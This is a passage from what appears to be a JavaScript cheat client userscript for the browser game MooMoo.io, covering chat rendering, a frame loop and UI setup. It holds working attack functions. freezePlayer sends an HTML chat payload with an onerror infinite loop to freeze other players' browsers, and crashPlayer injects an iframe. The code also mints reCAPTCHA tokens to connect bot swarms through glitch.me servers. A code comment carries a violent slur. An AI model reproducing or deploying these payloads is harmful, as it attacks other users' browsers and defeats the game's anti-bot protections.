  11516. let tmpH = 47;
  11517. let tmpW = tmpSize.width + 17;
  11518. mainContext.fillStyle = "rgba(0,0,0,0.2)";
  11519. mainContext.roundRect(tmpX - tmpW / 2, tmpY - tmpH / 2, tmpW, tmpH, 6);
  11520. mainContext.fill();
  11521. mainContext.fillStyle = "#fff";
  11522. mainContext.fillText(tmpObj.chatMessage, tmpX, tmpY);
  11523. }
  11524. if (tmpObj.chat.count > 0) {
  11525. tmpObj.chat.count -= delta;
  11526. if (tmpObj.chat.count <= 0)
  11527. tmpObj.chat.count = 0;
  11528. mainContext.font = "32px Hammersmith One";
  11529. let tmpSize = mainContext.measureText(tmpObj.chat.message);
  11530. mainContext.textBaseline = "middle";
  11531. mainContext.textAlign = "center";
  11532. let tmpX = tmpObj.x - xOffset;
  11533. let tmpY = tmpObj.y - tmpObj.scale - yOffset + (90 * 2);
  11534. let tmpH = 47;
  11535. let tmpW = tmpSize.width + 17;
  11536. mainContext.fillStyle = "rgba(0,0,0,0.2)";
  11537. mainContext.roundRect(tmpX - tmpW / 2, tmpY - tmpH / 2, tmpW, tmpH, 6);
  11538. mainContext.fill();
  11539. mainContext.fillStyle = "#ffffff99";
  11540. mainContext.fillText(tmpObj.chat.message, tmpX, tmpY);
  11541. } else {
  11542. tmpObj.chat.count = 0;
  11543.  
  11544. }
  11545. }
  11546. }
  11547.  
  11548. if (allChats.length) {
  11549. allChats.filter(ch => ch.active).forEach((ch) => {
  11550. if (!ch.alive) {
  11551. if (ch.alpha <= 1) {
  11552. ch.alpha += delta / 250;
  11553. if (ch.alpha >= 1) {
  11554. ch.alpha = 1;
  11555. ch.alive = true;
  11556. }
  11557. }
  11558. } else {
  11559. ch.alpha -= delta / 5000;
  11560. if (ch.alpha <= 0) {
  11561. ch.alpha = 0;
  11562. ch.active = false;
  11563. }
  11564. }
  11565. if (ch.active) {
  11566. mainContext.font = "20px Ubuntu";
  11567. let tmpSize = mainContext.measureText(ch.chat);
  11568. mainContext.textBaseline = "middle";
  11569. mainContext.textAlign = "center";
  11570. let tmpX = ch.x - xOffset;
  11571. let tmpY = ch.y - yOffset - 90;
  11572. let tmpH = 40;
  11573. let tmpW = tmpSize.width + 15;
  11574.  
  11575. mainContext.globalAlpha = ch.alpha;
  11576.  
  11577. mainContext.fillStyle = ch.owner.isTeam(player) ? "#8ecc51" : "#cc5151";
  11578. mainContext.strokeStyle = "rgb(25, 25, 25)";
  11579. mainContext.strokeText(ch.owner.name, tmpX, tmpY - 45);
  11580. mainContext.fillText(ch.owner.name, tmpX, tmpY - 45);
  11581.  
  11582. mainContext.lineWidth = 5;
  11583. mainContext.fillStyle = "#ccc";
  11584. mainContext.strokeStyle = "rgb(25, 25, 25)";
  11585.  
  11586. mainContext.roundRect(tmpX - tmpW / 2, tmpY - tmpH / 2, tmpW, tmpH, 6);
  11587. mainContext.stroke();
  11588. mainContext.fill();
  11589.  
  11590. mainContext.fillStyle = "#fff";
  11591. mainContext.strokeStyle = "#000";
  11592. mainContext.strokeText(ch.chat, tmpX, tmpY);
  11593. mainContext.fillText(ch.chat, tmpX, tmpY);
  11594. ch.y -= delta / 100;
  11595. }
  11596. });
  11597. }
  11598.  
  11599. mainContext.globalAlpha = 1;
  11600.  
  11601. // RENDER MINIMAP:
  11602. renderMinimap(delta);
  11603. }
  11604.  
  11605. // UPDATE & ANIMATE:
  11606. window.requestAnimFrame = function() {
  11607. return null;
  11608. }
  11609. window.rAF = (function() {
  11610. return window.requestAnimationFrame ||
  11611. window.webkitRequestAnimationFrame ||
  11612. window.mozRequestAnimationFrame ||
  11613. function(callback) {
  11614. window.setTimeout(callback, 1000/9);
  11615. };
  11616. })();
  11617.  
  11618. function doUpdate() {
  11619. //rape modulus
  11620. now = performance.now();
  11621. delta = now - lastUpdate;
  11622. lastUpdate = now;
  11623. let timer = performance.now();
  11624. let diff = timer - fpsTimer.last;
  11625. if (diff >= 1000) {
  11626.  
  11627. fpsTimer.ltime = fpsTimer.time * (1000 / diff);
  11628.  
  11629. fpsTimer.last = timer;
  11630. fpsTimer.time = 0;
  11631. }
  11632. fpsTimer.time++;
  11633.  
  11634. getEl("pingFps").innerHTML = `${window.pingTime}ms | Fps: ${Math.round(fpsTimer.ltime)}`;
  11635. getEl("packetStatus").innerHTML = secPacket;
  11636. updateGame();
  11637. rAF(doUpdate);
  11638. ms.avg = Math.round((ms.min+ms.max)/2);
  11639. }
  11640.  
  11641. prepareMenuBackground();
  11642. doUpdate();
  11643.  
  11644. function toggleUseless(boolean) {
  11645. getEl("instaType").disabled = boolean;
  11646. getEl("antiBullType").disabled = boolean;
  11647. getEl("predictType").disabled = boolean;
  11648. }
  11649. toggleUseless(useWasd);
  11650.  
  11651. let changeDays = {};
  11652.  
  11653. window.freezePlayer = function() {
  11654. io.send("6", '<img onerror="for(;;){}" src=>');
  11655. }
  11656.  
  11657. window.crashPlayer = function() {
  11658. io.send("6", '<iframe src="//moomoo.io">');
  11659. }
  11660.  
  11661.  
  11662.  
  11663. window.debug = function() {
  11664. my.waitHit = 0;
  11665. my.autoAim = false;
  11666. instaC.isTrue = false;
  11667. traps.inTrap = false;
  11668. itemSprites = [];
  11669. objSprites = [];
  11670. gameObjectSprites = [];
  11671. };
  11672. window.wasdMode = function() {
  11673. useWasd = !useWasd;
  11674. toggleUseless(useWasd);
  11675. };
  11676. window.startGrind = function() {
  11677. if (getEl("weaponGrind").checked) {
  11678. for (let i = 0; i < Math.PI * 2; i += Math.PI / 2) {
  11679. checkPlace(player.getItemType(22), i);
  11680. }
  11681. }
  11682. };
  11683. // REMOVED!!! so they cant abuse :)
  11684. let projects = [
  11685. "adorable-eight-guppy",
  11686. "galvanized-bittersweet-windshield"
  11687. ];
  11688. let botIDS = 0;
  11689. window.connectFillBots = function() {
  11690. botSkts = [];
  11691. botIDS = 0;
  11692. for (let i = 0; i < projects.length; i++) {
  11693. let test = new WebSocket(`wss://${projects[i]}.glitch.me`);
  11694. test.binaryType = "arraybuffer";
  11695.  
  11696. test.onopen = function() {
  11697. test.ssend = function(type) {
  11698. let data = Array.prototype.slice.call(arguments, 1);
  11699. let binary = window.msgpack.encode([type, data]);
  11700. test.send(binary);
  11701. };
  11702. for (let i = 0; i < 4; i++) {
  11703. window.grecaptcha.execute("6LfahtgjAAAAAF8SkpjyeYMcxMdxIaQeh-VoPATP", {
  11704. action: "homepage"
  11705. }).then(function(token) {
  11706. let t = WS.url.split("wss://")[1].split("?")[0];
  11707. test.ssend("bots", "wss://" + t + "?token=re:" + encodeURIComponent(token), botIDS);
  11708. botSkts.push([test]);
  11709. botIDS++;
  11710. });
  11711. }
  11712. };
  11713. test.onmessage = function(message) {
  11714. let data = new Uint8Array(message.data);
  11715. let parsed = window.msgpack.decode(data);
  11716. let type = parsed[0];
  11717. data = parsed[1];
  11718. };
  11719. }
  11720. };
  11721. window.destroyFillBots = function() {
  11722. botSkts.forEach((socket) => {
  11723. socket[0].close();
  11724. });
  11725. botSkts = [];
  11726. };
  11727. window.tryConnectBots = function() {
  11728. for (let i = 0; i < (bots.length < 3 ? 3 : 4); i++) {
  11729. window.grecaptcha.execute("6LfahtgjAAAAAF8SkpjyeYMcxMdxIaQeh-VoPATP", {
  11730. action: "homepage"
  11731. }).then(function(token) {
  11732. // CONNECT SOCKET:
  11733. botSpawn(token);
  11734. });
  11735. }
  11736. };
  11737. window.destroyBots = function() {
  11738. bots.forEach((botyyyyy) => {
  11739. botyyyyy.closeSocket = true;
  11740. });
  11741. bots = [];
  11742. };
  11743. window.resBuild = function() {
  11744. if (gameObjects.length) {
  11745. gameObjects.forEach((tmp) => {
  11746. tmp.breakObj = false;
  11747. });
  11748. breakObjects = [];
  11749. }
  11750. };
  11751. window.toggleBotsCircle = function() {
  11752. player.circle = !player.circle;
  11753. };
  11754. window.toggleVisual = function() {
  11755. config.anotherVisual = !config.anotherVisual;
  11756. gameObjects.forEach((tmp) => {
  11757. if (tmp.active) {
  11758. tmp.dir = tmp.lastDir;
  11759. }
  11760. });
  11761. };
  11762. window.prepareUI = function(tmpObj) {
  11763. resize();
  11764. // CHAT STUFF:
  11765. var chatBox = document.getElementById("chatBox");
  11766. var chatHolder = document.getElementById("chatHolder");
  11767. var suggestBox = document.createElement("div");
  11768. suggestBox.id = "suggestBox";
  11769.  
  11770. var prevChats = [];
  11771. var prevChatsIndex = 0;
  11772.  
  11773. function toggleChat() {
  11774. if (!usingTouch) {
  11775. if (chatHolder.style.display == "block") {
  11776. if (chatBox.value) {
  11777. sendChat(chatBox.value);
  11778. }
  11779. closeChat();
  11780. } else {
  11781. storeMenu.style.display = "none";
  11782. allianceMenu.style.display = "none";
  11783. chatHolder.style.display = "block";
  11784. chatBox.focus();
  11785. resetMoveDir();
  11786. }
  11787. } else {
  11788. setTimeout(function () {
  11789. var chatMessage = prompt("chat message");
  11790. if (chatMessage) {
  11791. sendChat(chatMessage);
  11792. }
  11793. }, 1);
  11794. }
  11795. chatBox.value = "";
  11796. (() => {
  11797. prevChatsIndex = 0;
  11798. })();
  11799. }
  11800.  
  11801. function closeChat() {
  11802. chatBox.value = "";
  11803. chatHolder.style.display = "none";
  11804. }
  11805.  
  11806. // ACTION BAR:
  11807. UTILS.removeAllChildren(actionBar);
  11808.  
  11809. for (let i = 0; i < (items.weapons.length + items.list.length); ++i) {
  11810. (function (i) {
  11811. UTILS.generateElement({
  11812. id: "actionBarItem" + i,
  11813. class: "actionBarItem",
  11814. style: "display:none; box-shadow: 2px 2px 5px rgba(0, 0, 0, 0.5)",
  11815. onmouseout: function () {
  11816. showItemInfo();
  11817. },
  11818. parent: actionBar
  11819. });
  11820. })(i);
  11821. }
  11822.  
  11823. for (let i = 0; i < (items.list.length + items.weapons.length); ++i) {
  11824. (function (i) {
  11825. let tmpCanvas = document.createElement("canvas");
  11826. tmpCanvas.width = tmpCanvas.height = 66;
  11827. let tmpContext = tmpCanvas.getContext("2d");
  11828. tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
  11829. tmpContext.imageSmoothingEnabled = false;
  11830. tmpContext.webkitImageSmoothingEnabled = false;
  11831. tmpContext.mozImageSmoothingEnabled = false;
  11832.  
  11833. if (items.weapons[i]) {
  11834. tmpContext.rotate((Math.PI));
  11835. let tmpSprite = new Image();
  11836. toolSprites[items.weapons[i].src] = tmpSprite;
  11837. tmpSprite.onload = function () {
  11838. this.isLoaded = true;
  11839. let tmpPad = 1 / (this.height / this.width);
  11840. let tmpMlt = (items.weapons[i].iPad || 1);
  11841. tmpContext.drawImage(this, -(tmpCanvas.width * tmpMlt * config.iconPad * tmpPad) / 2, -(tmpCanvas.height * tmpMlt * config.iconPad) / 2,
  11842. tmpCanvas.width * tmpMlt * tmpPad * config.iconPad, tmpCanvas.height * tmpMlt * config.iconPad);
  11843. tmpContext.fillStyle = "rgba(0, 0, 70, 0.2)";
  11844. tmpContext.globalCompositeOperation = "source-atop";
  11845. tmpContext.fillRect(-tmpCanvas.width / 2, -tmpCanvas.height / 2, tmpCanvas.width, tmpCanvas.height);
  11846. getEl('actionBarItem' + i).style.backgroundImage = "url(" + tmpCanvas.toDataURL() + ")";
  11847. };
  11848. tmpSprite.src = "./../img/weapons/" + items.weapons[i].src + ".png";
  11849. let tmpUnit = getEl('actionBarItem' + i);
  11850. // tmpUnit.onmouseover = UTILS.checkTrusted(function () {
  11851. // showItemInfo(items.weapons[i], true);
  11852. // });
  11853. tmpUnit.onclick = UTILS.checkTrusted(function () {
  11854. selectWeapon(tmpObj.weapons[items.weapons[i].type]);
  11855. });
  11856. UTILS.hookTouchEvents(tmpUnit);
  11857. } else {
  11858. let tmpSprite = getItemSprite(items.list[i - items.weapons.length], true);
  11859. let tmpScale = Math.min(tmpCanvas.width - config.iconPadding, tmpSprite.width);
  11860. tmpContext.globalAlpha = 1;
  11861. tmpContext.drawImage(tmpSprite, -tmpScale / 2, -tmpScale / 2, tmpScale, tmpScale);
  11862. tmpContext.fillStyle = "rgba(0, 0, 70, 0.1)";
  11863. tmpContext.globalCompositeOperation = "source-atop";
  11864. tmpContext.fillRect(-tmpScale / 2, -tmpScale / 2, tmpScale, tmpScale);
  11865. getEl('actionBarItem' + i).style.backgroundImage = "url(" + tmpCanvas.toDataURL() + ")";
  11866. let tmpUnit = getEl('actionBarItem' + i);
  11867. // tmpUnit.onmouseover = UTILS.checkTrusted(function () {
  11868. // showItemInfo(items.list[i - items.weapons.length]);
  11869. // });
  11870. tmpUnit.onclick = UTILS.checkTrusted(function () {
  11871. selectToBuild(tmpObj.items[tmpObj.getItemType(i - items.weapons.length)]);
  11872. });
  11873. UTILS.hookTouchEvents(tmpUnit);
  11874. }
  11875. })(i);
  11876. }
  11877. };
  11878. window.profineTest = function(data) {
  11879. if (data) {
  11880. // VALIDATE NAME:
  11881. let name = data + "";
  11882. name = name.slice(0, config.maxNameLength);
  11883.  
  11884. return name;
  11885. }
  11886. };// ==UserScript==
  11887. // @name New script
  11888. // @namespace Violentmonkey Scripts
  11889. // @match *://example.org/*
  11890. // @grant none
  11891. // @version 1.0
  11892. // @author -
  11893. // @description 8/28/2024, 12:36:04 PM
  11894. // ==/UserScript==
  11895. // ==UserScript==
  11896. // @name New script
  11897. // @namespace Violentmonkey Scripts
  11898. // @match *://example.org/*
  11899. // @grant none
  11900. // @version 1.0
  11901. // @author -
  11902. // @description 9/1/2024, 11:34:26 PM
  11903. // ==/UserScript==